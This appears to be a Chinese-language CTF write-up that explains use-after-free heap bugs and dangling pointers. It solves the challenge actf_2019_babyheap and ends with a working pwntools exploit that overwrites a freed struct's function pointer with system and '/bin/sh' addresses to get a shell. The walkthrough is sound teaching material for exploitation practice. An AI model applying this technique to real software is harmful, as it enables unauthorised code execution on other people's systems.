UAF初识

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UAF漏洞

漏洞简介

UAF —— Use After Free：其内容如同其名称，free后进行再利用。UAF是堆结构漏洞的一种重要的利用方式。
在程序中，UAF常有以下几种情况：

  • 内存块被释放后，其对应的指针被设置为 NULL，然后再次使用，自然程序会崩溃。
  • 内存块被释放后，其对应的指针没有被设置为 NULL ，然后在它下一次被使用之前，没有代码对这块内存块进行修改，那么程序很有可能可以正常运转。
  • 内存块被释放后，其对应的指针没有被设置为 NULL，但是在它下一次使用之前，有代码对这块内存进行了修改，那么当程序再次使用这块内存时，就很有可能会出现奇怪的问题。
    而我们一般所指的 Use After Free 漏洞主要是后两种。此外，我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

    Dangling Pointer（悬挂指针、悬空指针、迷途指针）是计算机编程中的一个常见且危险的问题，它指的是一个指针仍然保留着之前指向的内存地址，但是这片内存区域可能已经被释放或者不再有效，从而可能导致程序在使用该指针时出现未定义行为。

下面我将通过一道简单的例题展示一下UAF的攻击。

例题分析

题目来源：actf_2019_babyheap（UAF）

拿到题先检查保护信息，然后运行一下。
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这是一道菜单题，没有开启PIE。
然后用ida反编译一下，定位到 main函数。
image-20250617125933275
经过我们的逆向之后，代码是这个样子的。
main函数：
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menu函数：
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可以看到该函数调用了system函数，我们再检索一下字符串，发现了/bin/sh。
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由于这道题没有开启PIE，所以system函数的地址和/bin/sh的地址我们就取得了，后续可能会有用。
creat:
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creat函数先是malloc了一个0x10大小的堆块，然后把用户malloc的堆块的地址和print_context的地址存入该堆块。
print_content：
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delete：
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可见delete函数中再free掉堆块之后并没有将指针设置为NULL，说明程序中可能存在UAF漏洞。
show：
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可以看到，show函数是通过调用函数指针来输出数据的，而这个函数的地址储存在ptr[index][2]处，参数储存在ptr[index][1]处。
那么思路就十分明确了。我们可以先创造2个任意大小的堆块（远离0x10即可），然后free掉他们。然后再创建一个0x10（或者0x18）大小的堆块，通过修堆块的内容为binsh_addr和system_addr然后再执行show(0)就可以了。说的可能有点晦涩难懂，以下是具体解释。
在我们申请两个堆块之后，大致情况如下。
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然后我们再把这两个堆块free掉，再次申请0x10（0x18）大小的堆块。
此时由于堆管理机制，我们申请得到的struct3就是原来的struct2，content的堆块就是原来的struct1（后入先出），这样我们就可以把原来的content地址改为binsh的地址，print_content的地址改为system的地址，然后再show(0)就能够getshell（struct1的index为0)。
那么具体的exp如下：

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from pwn import *

def create(size, content):
    p.sendlineafter('Your choice:', '1')
    p.sendlineafter('Please input size:', str(size))
    p.sendafter('Please input content: ', content)

def delete(idx):
    p.sendlineafter('Your choice:', '2')
    p.sendlineafter('Please input list index:', str(idx))

def show(idx):
    p.sendlineafter('Your choice:', '3')
    p.sendlineafter('Please input list index:', str(idx))

if __name__ == '__main__':
    context(log_level='debug' , os = 'linux', arch = 'amd64')
    pwnfile = './uaf'
    p = process(pwnfile)
    elf = ELF(pwnfile)
	
    sys_addr = 0x4007A0
    binsh_addr = 0x602010
	
    create(0x100, 'a'*0x100)
    create(0x100, 'b'*0x100)
    delete(0)
    delete(1)
    create(0x10, p64(binsh_addr) + p64(sys_addr))
    show(0)
    p.interactive()